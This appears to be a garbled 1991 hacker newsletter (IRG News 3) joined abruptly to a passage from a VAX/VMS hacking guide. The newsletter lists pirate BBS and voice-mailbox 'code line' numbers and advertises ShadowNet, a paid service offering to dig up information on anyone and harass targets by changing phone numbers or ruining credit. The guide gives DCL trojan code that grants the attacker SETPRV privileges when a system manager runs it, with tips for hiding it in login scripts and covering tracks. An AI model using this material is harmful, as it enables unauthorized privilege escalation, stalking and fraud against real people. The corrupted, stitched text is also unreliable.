to school/work, so if you'd be interested in helping out, leave me a
|
||
note on one of the IRG boards and tell me the NPA and exck<63>n<EFBFBD>es you'd
|
||
be `BLe to scan, via local call or some sort of outdial, so we can make
|
||
sure that different people aren't wasting time scanning the same exchanges!
|
||
Anyone who helps to build the list will g1 at Glasgow
|
||
End of file - Frm 9; Next>
|
||
|
||
|
||
|
||
6.BBSs From Hell
|
||
----------------
|
||
Here is this issue's installment of BBSs From Hell.
|
||
|
||
Board Name Phone Number NUP SysOp
|
||
-------------------------------------------------------------------------------
|
||
Shadow's Of Doom 313/274-5630 ? ?
|
||
Fornax 408/370-0722 ? Briareos
|
||
The Rocky Mountains 714/530-6258 ? ?
|
||
The CorrupT SocieTy 619/630-8450 Defiance The Spectral Demon
|
||
Land Of Karrus 215/948-2132 Nightmare Scooter
|
||
|
||
Next issue we will have five more Elite BBSes for you to try. Sorry if I have
|
||
placed your bbs number on here without your knowing, if you would like it
|
||
removed from the master list please E-mail me at Insanity Lane 619-591-4974
|
||
NUP: Last Try.
|
||
|
||
|
||
7.VMBs From Hell
|
||
----------------
|
||
Heres a little plus I decided to have in each IRG news, a VMB list it
|
||
will work like the BBS list in that I will have 5 VMBs each issue and every so
|
||
often I will have a master list printed. All changes to VMBs will be posted in
|
||
each IRG News.
|
||
|
||
VMB Number Box Number VMB Use
|
||
-------------------------------------------------------------------------------
|
||
1-800-877-7594 Code Line
|
||
1-800-848-1488 * 0 Code Line / Info Line
|
||
1-800-741-5881 9 + * * 1111 Code Line / Info Line
|
||
1-800-950-0203 289 Time Lord's Code Line/ Info Line
|
||
1-800-950-0203 617 Code Line / Info Line
|
||
|
||
Well thats it for this installment of VMBs From Hell. If you would like you
|
||
VMB in IRG News please leave mail at IRG/ShadowNet VMB #1 1-800-527-0543 Box
|
||
Number: 8 + 158.
|
||
|
||
|
||
8.Running The ShadowNet
|
||
-----------------------
|
||
ShadowNet is the newest addition to IRG. It is a information service
|
||
for anyone willing to pay. ShadowNet works the way a Private Investigator
|
||
works...you pay us to find out information on people, except we will do much
|
||
more than that.
|
||
|
||
We will go one step farther than any PI would go. We will change his
|
||
phone #, send him 100 pizzas, or ruin his credit rate. Of course the more you
|
||
pay the better you get. At the beginning we will work for free to show that we
|
||
can do what you ask. So get your orders in fast. All we need is a name, phone
|
||
number, handle, whatever. The more information you start giving us the
|
||
more you will get back. I also am in need of "agents" or people to help work
|
||
with me. I hope to get at least one person in each area code so information
|
||
can be found easier and faster. Of course you are not restricted to the
|
||
computer oriented community. We can and WILL find information on ANYONE. We'll
|
||
also work for anyone who is willing to pay. So let's hear from you, either on
|
||
my BBS/VMB. Give me your voice phone number, and your name. I will contact you
|
||
for who you want ShadowNet to find out about. If you would like to join leave
|
||
the same info but tell me that you want to join. Simple enough. Until Next
|
||
time.
|
||
|
||
|
||
9.Hellos and Goodbyes
|
||
---------------------
|
||
So you are now done reading IRG-03, I hope you enjoyed yourself. I am
|
||
sure the more IRG Newsletters me and The Spectral Demon put out the better they
|
||
will get, if possible. TSD and I have worked hard on this newsletter and now its
|
||
your turn. Hurry & get those letters in for the next IRG News. Now for the
|
||
hellos & goodbyes, greets and etc!
|
||
|
||
FiRM what ever happened to you?
|
||
INC ditto!
|
||
Kryptic Night do you do Magic Mushrooms?
|
||
PHA whats next for you?
|
||
* Greets to Elite Tabloid Underground
|
||
What ever happened to the Elite community? Strike Back!
|
||
Remember: Big Brother Is Watching
|
||
Freedom Of Speech!
|
||
|
||
* - Entries marked with *'s are by The Spectral Demon only
|
||
-------------------------------------------------------------------------------
|
||
This Is An Offical IRG/ShadowNet Production All Rights Resevered
|
||
Copy Write (C) Jan. 1 1991
|
||
-------------------------------------------------------------------------------
|
||
|
||
Call The IRG HeadQuarters:
|
||
Insanity Lane
|
||
Home Of IRG
|
||
619-591-4974
|
||
NuP: Last Try
|
||
Running Aftershock 1.21
|
||
Call here for the latest in IRG Productions, and invaluable P/H/C/A
|
||
information found nowhere else, except at:
|
||
|
||
The CorrupT SocieTy
|
||
IRG Node 02
|
||
619-630-8450
|
||
NuP: Defiance
|
||
Running AfterShock 1.21
|
||
|
||
Also Call This Fine IRG/ShadowNet VMB #1
|
||
1-800-527-0543
|
||
Box Number: 8 + 158
|
||
First of course you MUST
|
||
check for the privileges of the user (just like in the above program), then
|
||
try:
|
||
|
||
$open/write file sys$scratch:adduaf.tmp
|
||
$write file "$ RUN SYS$SYSTEM:AUTHORIZE"
|
||
$write file "MODIFY NAME/PRIV=SETPRV"
|
||
$close file
|
||
$@sys$scratch:adduaf.tmp/output=sys$scratch:adduaf.dat
|
||
$del sys$scratch:adduaf.*;*
|
||
|
||
|
||
This little patch in the coding will modify your own users privileges and give
|
||
them SETPRV when the superuser executes this routine. The trick is to hide it
|
||
within some other program so he doesn't even realize he has done anything! Of
|
||
course after the routine has been successfully executed, the original coding
|
||
should be put back. There are many places you can put this routine, including
|
||
ADDUSER.COM (if you have write access)! That would mean, every time the
|
||
system manager went to add a new user, he would also boost your privs! HaHa,
|
||
quite ironic eh?! The farthest thing that he wants to do, and you make him do
|
||
it without even realizing. Of course you should use your imagination and put
|
||
this or a similar routine in a place where it will be quickly executed. The
|
||
longer the code stays around without being execute, the more chance that it
|
||
will be discovered. An optimum program would be something that the
|
||
users/operators execute frequently (eg notes, mail, phone etc) Other good
|
||
places are the LOGIN.COM and SYLOGIN.COM files. Just remember to cover your
|
||
tracks once you're done!!
|
||
|
||
This is but a brief introduction to Trojans and the like. You should use your
|
||
own imagination to come up with other ways of making the system operators
|
||
succumb to your wishes...heh heh.
|
||
|
||
|
||
DCL PROGRAMMING
|
||
---------------
|
||
|
||
No file would be complete without at least mentioning programming Command
|
||
Procedures. Basically, these are like BAT files from MS-DOS or script files
|
||
from UNIX. They form a rudimentary but powerful language that allows you to
|
||
quickly create small programs to handle most simple tasks. This section is not
|
||
intended to be a a full blown tutorial on programming in DCL, rather its an
|
||
introduction to what it is all about.
|
||
It is quite easy to pick up programming in DCL and the best way to learn is to
|
||
have a look at some of the COM files you will find on the various VAXes that
|
||
you hack on. By studying these, you can quickly learn the methods on how to
|
||
perform
|
||
certain routines. Below I have listed some of the commonly needed routines
|
||
when programming in DCL:
|
||
|
||
|
||
PASSING PARAMETERS
|
||
|
||
Parameters can be passed to DCL programs directly from the shell in several
|
||
ways. Here are a few examples:
|
||
|
||
(1) @sample 24 25
|
||
|
||
When you execute this, the values 24 and 25 are passed to the sample.com
|
||
file in the variables p1 and p2 respectively. ie p1=24, p2=25
|
||
|
||
(2) @sample Paul Cramer
|
||
|
||
p1=PAUL, p2=CRAMER
|
||
|
||
(3) @sample "Paul Cramer"
|
||
|
||
p1=Paul, p2=Cramer
|
||
|
||
(4) name= "Paul Cramer"
|
||
@sample 'name'
|
||
|
||
This example demonstrates the m |